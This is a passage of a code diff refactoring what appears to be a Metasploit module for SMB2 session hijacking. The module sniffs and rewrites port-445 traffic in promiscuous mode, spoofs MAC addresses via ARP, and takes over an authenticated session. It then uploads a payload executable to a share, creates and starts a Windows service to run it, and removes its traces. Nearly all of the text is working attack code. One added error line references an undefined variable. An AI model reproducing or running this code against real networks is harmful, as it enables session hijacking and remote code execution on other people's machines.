SYN capture thread as part of step two. def start_syn_capture - @syn_capture_thread = Thread.new { + @syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do c = PacketFu::Capture.new(iface: @interface, promisc: true) c.capture c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0") c.stream.each_data do |data| packet = PacketFu::Packet.parse(data) - @sessions[packet.tcp_header.tcp_src] = {} - @sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:active] = true - @sessions[packet.tcp_header.tcp_src][:dstmac] = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst))) - packet.eth_header.eth_src = [@mac.split(":").join].pack("H*") - packet.eth_header.eth_dst = [@sessions[packet.tcp_header.tcp_src][:dstmac].split(":").join].pack("H*") - packet.to_w(@interface) + exists = @mutex.synchronize do + @sessions[packet.tcp_header.tcp_src] # Prevent erasing existing sessions. + end + next if exists + + dstmac = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst))) + # Time for the arp address to be spoofed again. + sleep(1.5) + @mutex.synchronize do + @sessions[packet.tcp_header.tcp_src] = {} + @sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack + @sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq + @sessions[packet.tcp_header.tcp_src][:active] = true + @sessions[packet.tcp_header.tcp_src][:dstmac] = dstmac + packet.eth_header.eth_src = str2mac(@mac) + packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) + packet.to_w(@interface) + end end - } + end end # This starts the ACK capture thread as part of step two. def start_ack_capture - @ack_capture_thread = Thread.new { + @ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do c = PacketFu::Capture.new(iface: @interface, promisc: true) c.capture c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42") c.stream.each_data do |data| packet = PacketFu::Packet.parse(data) - if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] + @mutex.synchronize do + next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] + @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum] packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum] - packet.eth_header.eth_src = [@mac.split(":").join].pack("H*") - packet.eth_header.eth_dst = [@sessions[packet.tcp_header.tcp_src][:dstmac].split(":").join].pack("H*") + packet.eth_header.eth_src = str2mac(@mac) + packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) packet.to_w(@interface) end end - } + end end # This sends an arp packet out to the network and captures the response. # This allows us to resolve mac addresses in real time. # We need the mac address of the server and client. - def arp(smac: @mac, dmac: "ff:ff:ff:ff:ff:ff", + def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff', sha: @mac, spa: @ip4, - tha: "00:00:00:00:00:00", tpa: "", op: 1, - iface: @interface, capture: true) + tha: '00:00:00:00:00:00', tpa: '', op: 1, + capture: true) p = PacketFu::ARPPacket.new( - eth_src: [smac.split(":").join].pack("H*"), - eth_dst: [dmac.split(":").join].pack("H*"), - arp_src_mac: [sha.split(":").join].pack("H*"), - arp_src_ip: spa.split(".").map(&:to_i).pack("C*"), - arp_dst_mac: [tha.split(":").join].pack("H*"), - arp_dst_ip: tpa.split(".").map(&:to_i).pack("C*"), + eth_src: str2mac(smac), + eth_dst: str2mac(dmac), + arp_src_mac: str2mac(sha), + arp_src_ip: str2ip(spa), + arp_dst_mac: str2mac(tha), + arp_dst_ip: str2ip(tpa), arp_opcode: op ) if capture - c = PacketFu::Capture.new(iface: iface) + c = PacketFu::Capture.new(iface: @interface) c.capture c.stream.setfilter("arp src #{tpa} and ether dst #{smac}") - p.to_w(iface) + p.to_w(@interface) sleep 0.1 c.save c.array.each do |pkt| pkt = PacketFu::Packet.parse pkt # This decodes the arp packet and returns the query response. - return pkt.arp_header.arp_src_mac.to_s.bytes.map {|s| s.to_s(16).rjust(2, "0") }.join(":") if pkt.arp_header.arp_src_ip == tpa.split(".").map(&:to_i).pack("C*") - return pkt.arp_header.arp_src_ip.to_s.bytes.map(&:to_s).join(".") if pkt.arp_header.src_mac.to_s.bytes.map {|s| s.to_s(16).rjust(2, "0") }.join(":") == tha + if pkt.arp_header.arp_src_ip == str2ip(tpa) + return mac2str(pkt.arp_header.arp_src_mac) + end + return ip2str(pkt.arp_header.arp_src_ip) if mac2str(pkt.arp_header.src_mac) == tha end else - return p.to_w(iface) + p.to_w(@interface) end end @@ -194,7 +242,7 @@ def ipv4_addresses results[iface.name] << iface.addr.ip_address end end - return results + results end # This is the main capture thread that handles all SMB packets routed through this module. @@ -209,32 +257,37 @@ def main_capture nss = packet.payload[0..3] smb2 = packet.payload[4..-1] # Only Parse Packets from known sessions - if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB") - # Negotiate Protocol Request - if (smb2[11..12] == "\x00\x00") - smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2) - # Dialect Count Set To 1 - smb_packet.dialect_count = 1 - smb_packet.dialects = [smb_packet.dialects.first] - smb_packet.negotiate_context_list = [] - smb_packet.client_start_time = 0 - # Re-Calculate Length: (Optional...) - #nss = [smb_packet.to_binary_s.size].pack("L>") - packet.payload = "#{nss}#{smb_packet.to_binary_s}" - # Session Setup Request, NTLMSSP_AUTH - elsif smb2[11..12] == "\x00\x01" - smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2) - if smb_packet.smb2_header.session_id != 0 - # Disable Session - @sessions[packet.tcp_header.tcp_src][:active] = false - @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] - @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] - # Start Main Thread - @main_threads << Thread.new { main_thread(packet) } + @mutex.synchronize do + if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB") + case smb2[11..12] + when "\x00\x00" # Negotiate Protocol Request + smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2) + # Dialect Count Set To 1 + smb_packet.dialect_count = 1 + smb_packet.dialects = [smb_packet.dialects.first] + smb_packet.negotiate_context_list = [] + smb_packet.client_start_time = 0 + # Re-Calculate Length: (Optional...) + # nss = [smb_packet.to_binary_s.size].pack("N") + packet.payload = "#{nss}#{smb_packet.to_binary_s}" + when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH + smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2) + if smb_packet.smb2_header.session_id != 0 + # Disable Session + @sessions[packet.tcp_header.tcp_src][:active] = false + @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] + @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] + # Start Main Thread + @main_threads << Rex::ThreadFactory.spawn("MainThread#{@sessions.find_index do |k, _| + k == packet.tcp_header.tcp_src + end }", false) do + main_thread(packet) + end + end end end - end - if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] + next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] + @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum] @@ -250,45 +303,39 @@ def main_capture # This handles a session that has already authenticated to the server. # This allows us to offload the session from the main capture thead. def main_thread(packet) - # Setup Vars - tree_id = 0 + tree_id = 0 # Setup Vars process_id = 0 eth_src = str2mac(@mac) - eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) - packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum] - packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum] + eth_dst = @mutex.synchronize { str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) } + packet.tcp_header.tcp_ack = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:acknum] } + packet.tcp_header.tcp_seq = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:seqnum] } packet.eth_header.eth_src = eth_src packet.eth_header.eth_dst = eth_dst response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..-1]) - print_status("Connecting to the defined share...") + print_status('Connecting to the defined share...') request = RubySMB::SMB2::Packet::TreeConnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}" - eth_header = PacketFu::EthHeader.new( - eth_src: eth_src, - eth_dst: eth_dst - ) - ip_header = PacketFu::IPHeader.new( - ip_src: int2ip(response.ip_header.ip_dst), - ip_dst: int2ip(response.ip_header.ip_src) - ) + eth_header = PacketFu::EthHeader.new(eth_src: eth_src, eth_dst: eth_dst) + ip_header = PacketFu::IPHeader.new(ip_src: int2ip(response.ip_header.ip_dst), ip_dst: int2ip(response.ip_header.ip_src)) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1]) if response_smb2.smb2_header.nt_status != 0 - raise "Access Denied." + print_error("Unexpected tree connect response #{e.status_code.value.inspect} (#{::WindowsError::NTStatus.find_by_retval(e.status_code.value).first || 'unknown'})") + return false end - print_status("Regenerating the payload...") - code = regenerate_payload() + print_status('Regenerating the payload...') + code = regenerate_payload tree_id = response_smb2.smb2_header.tree_id process_id = response_smb2.smb2_header.process_id - print_status("Uploading payload...") - filename = rand_text_alpha(8) + ".exe" + print_status('Uploading payload...') + filename = rand_text_alpha(8) + '.exe' servicename = rand_text_alpha(8) request = RubySMB::SMB2::Packet::CreateRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -306,9 +353,9 @@ def main_thread(packet) request.requested_oplock = 255 request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE request.create_disposition = RubySMB::Dispositions::FILE_SUPERSEDE - request.name = "#{filename}" + request.name = filename.to_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) file_id = response_smb2.file_id @@ -316,18 +363,16 @@ def main_thread(packet) servicename: servicename, code: code.encoded } - if datastore['PAYLOAD'].include?(ARCH_X64) - opts.merge!({ arch: ARCH_X64 }) - end + opts.merge!({ arch: ARCH_X64 }) if datastore['PAYLOAD'].include?(ARCH_X64) exe = generate_payload_exe_service(opts) exe.bytes.each_slice(1000).to_a.each_with_index do |exe_fragment, exe_fragment_index| request = RubySMB::SMB2::Packet::WriteRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id request.write_offset = 1000 * exe_fragment_index - request.buffer = exe_fragment.pack("C*") + request.buffer = exe_fragment.pack('C*') packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1]) end @@ -337,22 +382,22 @@ def main_thread(packet) set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.file_id = file_id packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1]) - print_status("Connecting to the Service Control Manager...") + print_status('Connecting to the Service Control Manager...') request = RubySMB::SMB2::Packet::TreeConnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\IPC$" packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1]) tree_id = response_smb2.smb2_header.tree_id @@ -369,9 +414,9 @@ def main_thread(packet) request.requested_oplock = 255 request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE request.create_disposition = RubySMB::Dispositions::FILE_OPEN - request.name = "svcctl" + request.name = 'svcctl' packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) file_id = response_smb2.file_id @@ -382,7 +427,7 @@ def main_thread(packet) request.write_offset = 0 request.buffer = bind_req.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::ReadRequest.new @@ -391,13 +436,13 @@ def main_thread(packet) request.read_length = 1024 request.offset = 0 packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..-1]) open_scmw_request = RubySMB::Dcerpc::Svcctl::OpenSCManagerWRequest.new(dw_desired_access: 0x10 | 0x20 | 0x02 | 0x01 | 0x04 | 0x08 | 0x04) open_scmw_request.lp_machine_name = ip2str(int2ip(response.ip_header.ip_src)) - open_scmw_request.lp_database_name = "ServicesActive" - dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_scmw_request.opnum }, { endpoint: "Svcctl" }) + open_scmw_request.lp_database_name = 'ServicesActive' + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_scmw_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(open_scmw_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -406,36 +451,30 @@ def main_thread(packet) request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) open_scmw_response = RubySMB::Dcerpc::Svcctl::OpenSCManagerWResponse.read(dcerpc_response.stub.to_s) servicename = rand_text_alpha(8) - displayname = rand_text_alpha(rand(32)+1) + displayname = rand_text_alpha(rand(1..32)) - print_status("Creating a new service...") + print_status('Creating a new service...') # RubySMB does not support CreateService. stubdata = open_scmw_response.lp_sc_handle.to_binary_s + Rex::Encoder::NDR.wstring(servicename) + Rex::Encoder::NDR.uwstring(displayname) + - Rex::Encoder::NDR.long(0x0F01FF) + # Access: MAX Rex::Encoder::NDR.long(0x00000110) + # Type: Interactive, Own process Rex::Encoder::NDR.long(0x00000003) + # Start: Demand Rex::Encoder::NDR.long(0x00000000) + # Errors: Ignore - Rex::Encoder::NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path Rex::Encoder::NDR.long(0) + # LoadOrderGroup Rex::Encoder::NDR.long(0) + # Dependencies Rex::Encoder::NDR.long(0) + # Service Start - Rex::Encoder::NDR.long(0) + # Password - Rex::Encoder::NDR.long(0) + # Password - Rex::Encoder::NDR.long(0) + # Password - Rex::Encoder::NDR.long(0) # Password - dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 12 }, { endpoint: "Svcctl" }) - #dcerpc_request.stub.read(stubdata) + Rex::Encoder::NDR.long(0) * 4 # Password + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 12 }, { endpoint: 'Svcctl' }) dcerpc_request.stub = stubdata request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -444,14 +483,14 @@ def main_thread(packet) request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) - print_status("Closing service handle...") + print_status('Closing service handle...') dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) - csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: dcerpc_response.stub[4,24]) - dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: "Svcctl" }) + csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: dcerpc_response.stub[4, 24]) + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(csh_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -460,13 +499,13 @@ def main_thread(packet) request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) open_sw_request = RubySMB::Dcerpc::Svcctl::OpenServiceWRequest.new(dw_desired_access: 0x00F01FF) open_sw_request.lp_sc_handle = open_scmw_response.lp_sc_handle open_sw_request.lp_service_name = servicename - dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_sw_request.opnum }, { endpoint: "Svcctl" }) + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_sw_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(open_sw_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -475,15 +514,15 @@ def main_thread(packet) request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) open_sw_response = RubySMB::Dcerpc::Svcctl::OpenServiceWResponse.read(dcerpc_response.stub.to_s) - print_status("Starting the service...") + print_status('Starting the service...') ss_request = RubySMB::Dcerpc::Svcctl::StartServiceWRequest.new(h_service: open_sw_response.lp_sc_handle) - dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: ss_request.opnum }, { endpoint: "Svcctl" }) + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: ss_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(ss_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -492,7 +531,7 @@ def main_thread(packet) request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) if response_smb2.smb2_header.nt_status == 0x103 @@ -500,10 +539,9 @@ def main_thread(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) end - print_status("Removing the service...") + print_status('Removing the service...') # RubySMB does not support DeleteService - dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 2 }, { endpoint: "Svcctl" }) - #dcerpc_request.stub.read(open_sw_response.lp_sc_handle.to_binary_s) + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 2 }, { endpoint: 'Svcctl' }) dcerpc_request.stub = open_sw_response.lp_sc_handle.to_binary_s request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -512,13 +550,13 @@ def main_thread(packet) request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) - print_status("Closing service handle...") + print_status('Closing service handle...') csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: open_sw_response.lp_sc_handle) - dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: "Svcctl" }) + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' }) dcerpc_request.stub.read(csh_request.to_binary_s) request = RubySMB::SMB2::Packet::IoctlRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) @@ -527,13 +565,13 @@ def main_thread(packet) request.flags.is_fsctl = 0x00000001 request.buffer = dcerpc_request.to_binary_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1]) @@ -546,7 +584,7 @@ def main_thread(packet) request.smb2_header.session_id = response_smb2.smb2_header.session_id request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}" packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1]) tree_id = response_smb2.smb2_header.tree_id @@ -561,9 +599,9 @@ def main_thread(packet) request.requested_oplock = 255 request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE request.create_disposition = RubySMB::Dispositions::FILE_OPEN - request.name = "#{filename}" + request.name = filename.to_s packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) request = RubySMB::SMB2::Packet::SetInfoRequest.new @@ -572,9 +610,9 @@ def main_thread(packet) request.buffer.delete_pending = 1 request.file_id = response_smb2.file_id packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) - packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) - # Done. + return true # Done. end # This sends a packet and captures the response. @@ -584,21 +622,23 @@ def get_response(packet) rc.capture rc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and src port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42 and tcp[4:4] = #{packet.tcp_header.tcp_ack}") packet.to_w(@interface) - response = rc.stream.each_data do |data| - break PacketFu::Packet.parse(data) + rc.stream.each_data do |data| + packet = PacketFu::Packet.parse(data) + if packet.instance_of?(PacketFu::TCPPacket) + break packet + end end - return response end # This generates the TCP header for a new packet based on the previous one. def make_tcp_header(response) - return PacketFu::TCPHeader.new( + PacketFu::TCPHeader.new( tcp_src: response.tcp_header.tcp_dst, tcp_dst: response.tcp_header.tcp_src, tcp_seq: response.tcp_header.tcp_ack, tcp_ack: response.tcp_header.tcp_seq + response.payload.size, tcp_win: response.tcp_header.tcp_win, - tcp_flags: {ack: 1, psh: 1} + tcp_flags: { ack: 1, psh: 1 } ) end @@ -610,40 +650,45 @@ def set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) request.smb2_header.credits = 256 request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1 request.smb2_header.session_id = response_smb2.smb2_header.session_id - return nil + nil end # This converts a string to a binary mac. def str2mac(str) - return [str.split(":").join].pack("H*") + # [str.split(':').join].pack('H*') + Rex::Socket.eth_aton(str) end # This converts a binary mac to a string. def mac2str(mac) - return mac.to_s.bytes.map {|s| s.to_s(16).rjust(2, "0") }.join(":") + # mac.to_s.bytes.map { |s| s.to_s(16).rjust(2, '0') }.join(':') + Rex::Socket.eth_ntoa(mac) end # This converts a string to a binary ip. def str2ip(str) - return str.split(".").map(&:to_i).pack("C*") + # str.split('.').map(&:to_i).pack('C*') + Rex::Socket.addr_aton(str) end # This converts a binary ip to a string. def ip2str(ip) - return ip.bytes.map(&:to_s).join(".") + # ip.bytes.map(&:to_s).join('.') + Rex::Socket.addr_ntoa(ip) end # This converts an integer to a binary ip. def int2ip(int) - return [int].pack("L>") + # [int].pack('N') + Rex::Socket.addr_iton(int) end # This cleans up and exits all the active threads. def cleanup - print_status "Cleaning Up..." + print_status 'Cleaning 